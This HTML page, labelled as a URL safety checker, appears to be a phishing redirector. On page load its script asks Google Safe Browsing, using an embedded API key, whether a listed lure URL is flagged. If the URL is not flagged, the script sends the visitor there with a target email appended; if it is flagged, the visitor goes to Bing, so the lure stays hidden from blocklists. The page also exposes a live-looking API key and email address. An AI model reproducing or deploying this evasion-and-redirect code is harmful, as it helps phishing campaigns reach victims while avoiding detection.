<meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>URL Safe Check & Redirect</title>
    <script>
        // List of URLs to check
        const urls = [
            "https://www.amirnaz-sarl.com/hereme/",
            
        ];

        // Placeholder email
        const placeholder = "?&email=big@admin@sbtool.ca";

        // Google Safe Browsing API Key (you need to get an API key from Google Cloud)
        const apiKey = "AIzaSyAzEiTBlmrclUyKD6hUy0zEr5j9al5XAT0";

        // Function to check the URL safety using Google Safe Browsing API
        async function checkUrls(urls) {
            const apiUrl = `https://safe-browsing.googleapis.com/v4/threatMatches:find?key=${apiKey}`;
            
            const body = {
                "client": {
                    "clientId": "734940042384-r2hsc4hidt5i45lcgk9t4t9fn3prmp25.apps.googleusercontent.com",
                    "clientVersion": "1.0"
                },
                "threatInfo": {
                    "threatTypes": ["MALWARE", "SOCIAL_ENGINEERING"],
                    "platformTypes": ["ANY_PLATFORM"],
                    "threatEntryTypes": ["URL"],
                    "threatEntries": urls.map(url => ({url: url}))
                }
            };

            try {
                // Fetch data from Google Safe Browsing API
                const response = await fetch(apiUrl, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json'
                    },
                    body: JSON.stringify(body)
                });

                const data = await response.json();

                // Check if any URLs are unsafe
                const unsafeUrls = data.matches ? data.matches.map(match => match.threat.entryUrl) : [];
                return unsafeUrls;
            } catch (error) {
                console.error("Error checking URLs:", error);
                return [];
            }
        }

        // Function to redirect to a safe URL or Bing if none are safe
        async function redirect() {
            const unsafeUrls = await checkUrls(urls);
            const safeUrls = urls.filter(url => !unsafeUrls.includes(url));
            
            if (safeUrls.length > 0) {
                // Redirect to the first safe URL with the placeholder appended
                const redirectUrl = safeUrls[0] + placeholder;
                window.location.href = redirectUrl;
            } else {
                // If no safe URL found, redirect to Bing
                window.location.href = "https://www.bing.com";
            }
        }

        // Call the redirect function on page load
        window.onload = redirect;
    </script>
</head>
<body>
    <p>Checking URLs...</p>
</body>
</html>
